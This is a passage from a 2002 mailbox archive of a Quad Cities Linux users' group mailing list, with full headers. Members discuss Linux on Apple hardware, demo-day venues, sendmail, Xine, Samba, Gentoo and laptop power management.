:-) more info at: http://www.qlilinux.com/products/apple/index.html -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From ray@qlilinux.com Tue Aug 27 17:08:13 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8760 invoked by uid 1051); 27 Aug 2002 17:08:12 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 27 Aug 2002 17:08:12 -0000 From: Ray Sanders To: Cedar Valley Linux Users Group Cc: "qclug@qclug.org" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7.99 Date: 27 Aug 2002 12:12:03 -0500 Message-Id: <1030468324.14177.58.camel@tempe.qlitech.net> Mime-Version: 1.0 Subject: [QCLUG] Anyone want to help me get slashdotted? :-) X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 27 Aug 2002 17:08:13 -0000 If anyone wants to help me get slashdotted, please e-mail me off list. :-) Thanks. -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From gray@cns.uni.edu Tue Aug 27 18:51:29 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 9315 invoked by uid 1051); 27 Aug 2002 18:51:29 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 27 Aug 2002 18:51:29 -0000 Received: (qmail 28703 invoked from network); 27 Aug 2002 18:50:13 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by math-cs.cns.uni.edu with SMTP; 27 Aug 2002 18:50:13 -0000 Date: Tue, 27 Aug 2002 13:50:13 -0500 (CDT) From: Paul Gray To: Peter Behroozi cc: Cedar Valley Linux Users Group , "qclug@qclug.org" In-Reply-To: <1030472316.1868.87.camel@dhcppc3> Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [QCLUG] Re: [Cedarlug] Apple Linux / MacOSX Systems X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 27 Aug 2002 18:51:29 -0000 On 27 Aug 2002, Peter Behroozi wrote: > On Mon, 2002-08-26 at 10:08, Ray Sanders wrote: > > We've started offering Apple iBook, PowerBook and Xserve systems with > > Linux / MacOSX Pre-Installed. > > Doesn't Yellow Dog Linux already do this? > > http://www.yellowdoglinux.com/products/ They support YDL, but not Debian PPC, Mandrake PPC, etc. Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From daniel-wittenberg@starken.com Tue Aug 27 19:50:56 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 9835 invoked by uid 1051); 27 Aug 2002 19:50:56 -0000 Received: from unknown (HELO dns1.starken.com) (199.120.78.198) by 0 with SMTP; 27 Aug 2002 19:50:56 -0000 Received: from dhcp80ff45be.dynamic.uiowa.edu (dhcp80ff45be.dynamic.uiowa.edu [128.255.69.190]) (authenticated (0 bits)) by dns1.starken.com (8.11.6/8.11.6) with ESMTP id g7RJoJU21406; Tue, 27 Aug 2002 14:50:19 -0500 From: Daniel Wittenberg To: Wade Arnold Cc: Paul Gray , Peter Behroozi , Cedar Valley Linux Users Group , "qclug@qclug.org" In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 14:44:13 -0500 Message-Id: <1030477457.2473.16.camel@runabout.noc.starken.com> Mime-Version: 1.0 Subject: [QCLUG] Re: [Cedarlug] Apple Linux / MacOSX Systems X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 27 Aug 2002 19:50:56 -0000 Just wait until you try to upgrade YDL...that's why I dumped it and won't touch it again. Dan On Tue, 2002-08-27 at 14:17, Wade Arnold wrote: > A little off topic, but! I bought a powerbook G4 and it is the bomb. Yellow > dog is nice too! > wade > From sb@helios.augustana.edu Thu Aug 29 04:02:27 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 18452 invoked by uid 1051); 29 Aug 2002 04:02:27 -0000 Received: from unknown (HELO helios.augustana.edu) (143.226.129.5) by 0 with SMTP; 29 Aug 2002 04:02:27 -0000 Date: Wed, 28 Aug 2002 22:54:47 -0500 (CDT) From: Shawn Beattie To: qclug@qclug.org In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [QCLUG] Re: costs for booth at Southpark X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 29 Aug 2002 04:02:27 -0000 FYI - The room we used last year for the Installfest is not available for the date of Sept 21st. Shawn On Sun, 25 Aug 2002, Shawn Beattie wrote: > As I mentioned at the meeting, Southpark is having a community day on > September 21, the day we selected for the Demo Day. I finally was able to > get the information about community day and what it's all about. Here's > the scoop. > > Cost is $50 for a single booth (8x10); $75 for a double booth (8x20). > They provide skirted tables and electrical. Hours are 10-5 with setup > 8-9:30. However, along with the application they require proof that you > are non-profit, which I guess we don't have. Unless there is a way a > non-profit would sponsor the group. > > The main advantage of this would be, I imagine, much higher exposure and > built-in traffic. I know this is late in the game but just wanted to let > y'all know what I found out. > > Shawn > > From ray@qlilinux.com Fri Aug 30 00:32:18 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23416 invoked by uid 1051); 30 Aug 2002 00:32:18 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 30 Aug 2002 00:32:18 -0000 From: Ray Sanders To: Cedar Valley Linux Users Group Cc: "qclug@qclug.org" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7.99 Date: 29 Aug 2002 19:36:09 -0500 Message-Id: <1030667770.3541.13.camel@tempe.qlitech.net> Mime-Version: 1.0 Subject: [QCLUG] TOnight's Slashback X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 30 Aug 2002 00:32:18 -0000 :-) Those who read slashdot should take a look at tonight's slashback. -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From compgod@mchsi.com Sat Aug 31 14:00:44 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30555 invoked by uid 1051); 31 Aug 2002 14:00:44 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 31 Aug 2002 14:00:44 -0000 Received: from sccqwbc01 ([204.127.203.161]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20020831140037.EETK7903.sccmmhc02.mchsi.com@sccqwbc01>; Sat, 31 Aug 2002 14:00:37 +0000 Received: from [12.217.83.30] by sccqwbc01; Sat, 31 Aug 2002 14:00:37 +0000 From: compgod@mchsi.com To: qclug@qclug.org Date: Sat, 31 Aug 2002 14:00:37 +0000 X-Mailer: AT&T Message Center Version 1 (Feb 11 2002) Message-Id: <20020831140037.EETK7903.sccmmhc02.mchsi.com@sccqwbc01> Subject: [QCLUG] Sendmail Configuration X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 31 Aug 2002 14:00:45 -0000 I have almost given up on mediacom and having them be able to explain why evolution can't send mail to there stupid mail server. So I am going to ask if anybody knows of either a good book or a website that where I can learn to setup a sendmail server. Thanks, Dan From compgod@mchsi.com Sat Aug 31 17:15:40 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30858 invoked by uid 1051); 31 Aug 2002 17:15:40 -0000 Received: from unknown (HELO PROTHEUS) (12.217.83.30) by 0 with SMTP; 31 Aug 2002 17:15:40 -0000 Received: from PROTHEUS (PROTHEUS [127.0.0.1]) by PROTHEUS (8.11.6/8.11.6) with ESMTP id g7VGGv003869 for ; Sat, 31 Aug 2002 12:17:06 -0400 From: Dan Berg To: qclug@qclug.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 31 Aug 2002 12:16:56 -0400 Message-Id: <1030810626.2464.15.camel@PROTHEUS> Mime-Version: 1.0 Subject: [QCLUG] Sendmail X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 31 Aug 2002 17:15:40 -0000 Okay nevermind about the sendmail question I got it fixed. I also now have evolution going to sendmail instead of trying to go through mediacom's mail server. Dan From compgod@mchsi.com Sun Sep 01 20:33:20 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1022 invoked by uid 1051); 1 Sep 2002 20:33:19 -0000 Received: from unknown (HELO PROTHEUS) (12.217.83.30) by 0 with SMTP; 1 Sep 2002 20:33:19 -0000 Received: from PROTHEUS (PROTHEUS [127.0.0.1]) by PROTHEUS (8.11.6/8.11.6) with ESMTP id g81JYX022033 for ; Sun, 1 Sep 2002 15:34:43 -0400 From: Dan Berg To: qclug@qclug.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 01 Sep 2002 15:34:32 -0400 Message-Id: <1030908883.19236.2.camel@PROTHEUS> Mime-Version: 1.0 Subject: [QCLUG] Xine Question X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sun, 01 Sep 2002 20:33:20 -0000 I was wondering if anybody knew how to get AVI files to run in Xine. I got the sample one to work and I've read the help files on where to put the DLL files. But it just doesn't seem to work with some AVI files I have. It said for an error message that it didn't have a proper demuxer. I have no idea what that is. Thanks for any help, Dan From sb@helios.augustana.edu Mon Sep 02 02:35:18 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1543 invoked by uid 1051); 2 Sep 2002 02:35:18 -0000 Received: from unknown (HELO helios.augustana.edu) (143.226.129.5) by 0 with SMTP; 2 Sep 2002 02:35:18 -0000 Date: Sun, 1 Sep 2002 21:27:43 -0500 (CDT) From: Shawn Beattie To: qclug@qclug.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [QCLUG] demo day X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 02 Sep 2002 02:35:19 -0000 I have not been able to secure a location so far for demo day. The ensemble room that we used for Installfest last year is taken. Tomorrow (Monday) is the deadline to reserve a booth at Southpark. However, they require that you be a non-profit group to participate in their community day. I don't think we qualify as a group. The only way we could participate would be if we had a non-profit sponsor (?) I have not been receiving QCLUG mail so I have no idea what is going on. Ideas/comments? Shawn From darthbobby_sithlord@yahoo.com Mon Sep 02 20:03:25 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 3016 invoked by uid 1051); 2 Sep 2002 20:03:25 -0000 Received: from unknown (HELO web9601.mail.yahoo.com) (216.136.129.180) by 0 with SMTP; 2 Sep 2002 20:03:25 -0000 Message-ID: <20020902200322.12673.qmail@web9601.mail.yahoo.com> Received: from [65.101.86.76] by web9601.mail.yahoo.com via HTTP; Mon, 02 Sep 2002 13:03:22 PDT Date: Mon, 2 Sep 2002 13:03:22 -0700 (PDT) From: Cristina Amador To: qclug@qclug.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [QCLUG] java thingies, netscape and stuff.... X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 02 Sep 2002 20:03:25 -0000 hello there! I need more help! :) I installed netscape because i couldn't use any java thingies with konqueror, and it looks like that worked, but now i seem to be having a problem with netscape. I have two windows open that are not responding and can't close. I thought i read somewhere how to close programs, but i cant find it. And also, everything looks so small! i changed the text to 120%, but i think it resets everytime i open a new browser window. Everything looks really blurry to me right now because im preggers, so it's really hard to read things and very frustruating. Thanks for listenin'! Peace!, Cristina ===== (To the tune of "I am Woman") I am Cute! I am A-dor-a-ble! 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Finance - Get real-time stock quotes http://finance.yahoo.com From gentoo@mchsi.com Mon Sep 02 20:18:15 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 3055 invoked by uid 1051); 2 Sep 2002 20:18:15 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 2 Sep 2002 20:18:15 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020902201805.ZFOC2075.sccmmhc01.mchsi.com@laptop> for ; Mon, 2 Sep 2002 20:18:05 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Mon, 2 Sep 2002 15:06:32 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209021506.32589.gentoo@mchsi.com> Subject: [QCLUG] where is everyone X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 02 Sep 2002 20:18:15 -0000 have not seen any post for awhile . so whats going on for demo day ? is demo day even happing ? did the lug just drop of the face of the earth= or=20 maybe the mailing list is down . did anyone meet on any of the saterdays = ? =20 --=20 life is linux=20 linux is life=20 From gray@cns.uni.edu Tue Sep 03 13:19:03 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 5183 invoked by uid 1051); 3 Sep 2002 13:19:03 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 3 Sep 2002 13:19:03 -0000 Received: (qmail 13454 invoked from network); 3 Sep 2002 13:17:11 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by math-cs.cns.uni.edu with SMTP; 3 Sep 2002 13:17:11 -0000 Date: Tue, 3 Sep 2002 08:17:11 -0500 (CDT) From: Paul Gray To: qclug@qclug.org Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [QCLUG] Linux finally on the X-box? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 03 Sep 2002 13:19:03 -0000 It looks like Linux might finally be ported (or at least nearly-ported) to the X-box. A $200 linux box sounds like a good deal. http://slashdot.org/article.pl?sid=02/09/02/2211237&mode=thread&tid=106 Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From ray@qlilinux.com Tue Sep 03 13:31:20 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 5266 invoked by uid 1051); 3 Sep 2002 13:31:20 -0000 Received: from unknown (HELO localhost) (127.0.0.1) by 0 with SMTP; 3 Sep 2002 13:31:20 -0000 Received: from 12.217.185.58 ( [12.217.185.58]) as user qliray@mail.qlitech.net by www.qlitech.net with HTTP; Tue, 3 Sep 2002 08:31:20 -0500 Message-ID: <1031059880.3d74b9a8374b4@www.qlitech.net> Date: Tue, 3 Sep 2002 08:31:20 -0500 From: Ray Sanders To: Paul Gray Cc: qclug@qclug.org References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 12.217.185.58 Subject: [QCLUG] Re: Is this thing on? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 03 Sep 2002 13:31:20 -0000 Quoting Paul Gray : > > Just wondering if the group's been awfully quiet lately ... > Yes, I know. It's very odd indeed. Helooooooooo out there? > Paul Gray -o) > 323 Wright Hall /\\ > University of Northern Iowa _\_V > Message void if penguin violated ... Don't mess with the penguin > No one ever says "Hey, I can't read that ASCII e-mail ya sent me." > > > -- "In an open world, who needs windows or gates" QliTech Linux Computers ray@qlilinux.com http://www.qlilinux.com 1-877-24-LINUX (Toll Free U.S.A and Canada) ------------------------------------------------- Vistit our website at http://www.qlilinux.com/ From hale@netins.net Tue Sep 03 17:13:00 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 5996 invoked by uid 1051); 3 Sep 2002 17:13:00 -0000 Received: from unknown (HELO cgpf1.cgp.netins.net) (167.142.225.202) by 0 with SMTP; 3 Sep 2002 17:13:00 -0000 Received: from [199.120.94.93] (HELO jack) by cgpf1.cgp.netins.net (CommuniGate Pro SMTP 3.5.9) with ESMTP id 141571010 for qclug@qclug.org; Tue, 03 Sep 2002 12:12:33 -0500 From: "hale@netins.net" To: qclug@qclug.org Date: Tue, 03 Sep 2002 12:13:15 -0500 MIME-Version: 1.0 Message-ID: <3D74A75B.20992.CB37D@localhost> Priority: normal X-mailer: Pegasus Mail for Windows (v4.02) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Subject: [QCLUG] trouble connecting X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: hale@netins.net, qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 03 Sep 2002 17:13:00 -0000 I am having problems connecting from my win98 machine to my Red Hat 7.3 Server. I cannot see it in the Network Neighborhood. I can ping it and I can connect to it with ssh. If I go into Konqueror/Samba/Status I notice smb is running but nmbd is not. If I try to start it it will not start, If I try to restart it still nothing. What are some things I should check. I am also running netatalk and I have no problems with it... All mac's can see the server. Thanks for the help Jack Hale Printing & Vinyl Graphics From JSmith@sedonaesolutions.com Tue Sep 03 20:22:49 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7220 invoked by uid 1051); 3 Sep 2002 20:22:49 -0000 Received: from unknown (HELO gabriel.sedonaesolutions.com) (63.97.64.194) by 0 with SMTP; 3 Sep 2002 20:22:49 -0000 Received: by GABRIEL with Internet Mail Service (5.5.2653.19) id ; Tue, 3 Sep 2002 15:22:49 -0500 Message-ID: From: Jerry Smith To: "'qclug@qclug.org'" Date: Tue, 3 Sep 2002 15:22:45 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [QCLUG] Gentoo... X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 03 Sep 2002 20:22:49 -0000 I know Noah is using this distro, anybody else? I need to know who all I can bug in getting stuff working ;-) From compgod@mchsi.com Wed Sep 04 03:50:06 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8379 invoked by uid 1051); 4 Sep 2002 03:50:05 -0000 Received: from unknown (HELO PROTHEUS) (12.217.83.30) by 0 with SMTP; 4 Sep 2002 03:50:05 -0000 Received: from PROTHEUS (PROTHEUS [127.0.0.1]) by PROTHEUS (8.11.6/8.11.6) with ESMTP id g842pT031855 for ; Tue, 3 Sep 2002 22:51:31 -0400 From: Dan Berg To: qclug@qclug.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 03 Sep 2002 22:51:28 -0400 Message-Id: <1031107891.31531.10.camel@PROTHEUS> Mime-Version: 1.0 Subject: [QCLUG] Linux on a Presario 900 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 04 Sep 2002 03:50:06 -0000 Has anybody successfully put linux onto a Presario 900 before? If you have what distribution did you use? I have tried almost every latest distro out their and the CD-Rom does not want to work when I try to install it. The install program will detect and start to run off of the CD but, then when it tries to look for the files it just gives up on it. Any ideas? Thanks in advance, Dan From superdug@dugnet.com Wed Sep 04 21:21:08 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 11602 invoked by uid 1051); 4 Sep 2002 21:21:07 -0000 Received: from unknown (HELO hedwig.iticom.net) (64.127.64.16) by 0 with SMTP; 4 Sep 2002 21:21:07 -0000 Received: (qmail 23496 invoked by uid 0); 4 Sep 2002 21:21:10 -0000 Received: from unknown (HELO frasier.iticom.net) (64.127.64.11) by owlsnest.iticom.net with SMTP; 4 Sep 2002 21:21:10 -0000 Received: (qmail 3029 invoked by uid 0); 4 Sep 2002 21:21:07 -0000 Received: from unknown (HELO smtp.dugnet.com) (64.127.77.192) by dugnet.com with SMTP; 4 Sep 2002 21:21:06 -0000 Received: by smtp.dugnet.com (sSMTP sendmail emulation); Wed, 4 Sep 2002 17:21:05 -0400 Date: Wed, 4 Sep 2002 17:21:05 -0400 To: Cedarlug@cedarlug.org From: superdug@dugnet.com User-Agent: Instant Web Mail 0.57 Cc: qclug@qclug.org Content-Type: text/plain; charset="ISO-8859-1" Subject: [QCLUG] apmd and apm X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 04 Sep 2002 21:21:08 -0000 Okay well now that I'm using linux 90% of the time I figured I'd ask this question to everyone on the list. Recently I switched to Mandrake 9.0 beta 2 (the latest ISO available at the time). After installing Apt-RPM and grabbing openoffice and of course the c3270 (IBM Emulator) I had everything the average college student could possibly want. This is also the box that will soon have the aironet 350 in it. But my main question is this. I have two processes running apmd and kampd one of which is controlling what happens when I close the lid of my laptop. Now I know that in windows everything isn't the "right way"(tm), but I do know it as the "only way"(tm) right now. In windows the power management settings say "When the lid closes ... do this" and "When I press the power button ... do this". Is there an equivalent somewhere that I'm missing??? Right now when I'm in KDE 3 and I close the lid it goes into suspend mode. Which I guess is nice, but suspend mode of course shuts everything currently happening at the time down ... this is bad considering usually I close the lid for a long compile or download. In KDE configuration there is a power setting, but they seem to be focused only on inactivity time, needless to say I disabled suspend and shutdown in the menu. But that still doesn't seem to want to work. Is there an apmd.conf somewhere that I'm missing or an apm --don't do this even when kde says to ... switch? Thanks, Doug BTW: Totally back to an older topic ... linux ... free ladies night ... and a foam bikini contest ... ummm wow :-) That's one to send to slashdot ... From sb@helios.augustana.edu Thu Sep 05 19:09:40 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 15767 invoked by uid 1051); 5 Sep 2002 19:09:40 -0000 Received: from unknown (HELO helios.augustana.edu) (143.226.129.5) by 0 with SMTP; 5 Sep 2002 19:09:40 -0000 Date: Thu, 5 Sep 2002 14:02:07 -0500 (CDT) From: Shawn Beattie To: qclug@qclug.org Subject: Re: [QCLUG] demo day In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 05 Sep 2002 19:09:41 -0000 I do have a room reserved on campus for Sept 21, Larson Hall. It is near the ensemble room that we used last year (same building) Shawn On Sun, 1 Sep 2002, Shawn Beattie wrote: > I have not been able to secure a location so far for demo day. The > ensemble room that we used for Installfest last year is taken. > > Tomorrow (Monday) is the deadline to reserve a booth at Southpark. > However, they require that you be a non-profit group to participate in > their community day. I don't think we qualify as a group. The only way we > could participate would be if we had a non-profit sponsor (?) > > I have not been receiving QCLUG mail so I have no idea what is going on. > Ideas/comments? > > Shawn > > > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > From ray@qlilinux.com Thu Sep 05 19:23:38 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 15877 invoked by uid 1051); 5 Sep 2002 19:23:38 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 5 Sep 2002 19:23:38 -0000 Subject: Re: [QCLUG] Gentoo... From: Ray Sanders To: "qclug@qclug.org" In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7.99 Date: 05 Sep 2002 14:27:37 -0500 Message-Id: <1031254058.1381.5.camel@tempe.qlitech.net> Mime-Version: 1.0 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 05 Sep 2002 19:23:38 -0000 On Tue, 2002-09-03 at 15:22, Jerry Smith wrote: > I know Noah is using this distro, anybody else? I need to know who all I > can bug in getting stuff working ;-) > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > I'm running Gentoo on a few machines here and there. Right now I'm primarily using it on an Apple iBook, but it's all the same. :-) -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From dan@cpugeek.org Thu Aug 22 17:35:11 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30837 invoked by uid 1051); 22 Aug 2002 17:35:11 -0000 Received: from unknown (HELO server06.machlink.com) (66.207.0.2) by 0 with SMTP; 22 Aug 2002 17:35:11 -0000 Received: from shadow.machlink.com (cbl-dhcp-10-121.machlink.com [66.207.10.121]) by server06.machlink.com (8.12.2/8.12.2) with ESMTP id g7MHT2Wt003187 for ; Thu, 22 Aug 2002 12:29:07 -0500 (CDT) Subject: Re: [QCLUG] free macs From: Dan To: qclug@qclug.org In-Reply-To: <20020822030453.95376.qmail@web14612.mail.yahoo.com> References: <20020822030453.95376.qmail@web14612.mail.yahoo.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 22 Aug 2002 12:31:20 -0500 Message-Id: <1030037486.5248.8.camel@shadow> Mime-Version: 1.0 X-Mailman-Approved-At: Thu, 05 Sep 2002 19:26:13 -0000 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 22 Aug 2002 17:35:12 -0000 What area code is your phone numbers in. I am from Muscatine remember. Dan J. On Wed, 2002-08-21 at 22:04, Noah Norris wrote: > for those that want free macs its best to call me :) > 797=7001 if im not here\ > call 786-0977 thanks > or 797-7001 (work) > thanks > no ones gotting anything yet > > ===== > your mouse has moved > you have to restart windows for the changes to take effect. > -------------- > life is linux > linux is life > > __________________________________________________ > Do You Yahoo!? > HotJobs - Search Thousands of New Jobs > http://www.hotjobs.com > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > From baldy@mchsi.com Thu Aug 22 18:58:42 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 31248 invoked by uid 1051); 22 Aug 2002 18:58:42 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 22 Aug 2002 18:58:42 -0000 Received: from linux ([12.217.93.116]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020822185832.PLNR7903.sccmmhc02.mchsi.com@linux> for ; Thu, 22 Aug 2002 18:58:32 +0000 Content-Type: text/plain; charset="us-ascii" From: Baldy To: qclug@qclug.org Date: Thu, 22 Aug 2002 13:57:36 -0500 X-Mailer: KMail [version 1.4] MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208221357.36956.baldy@mchsi.com> 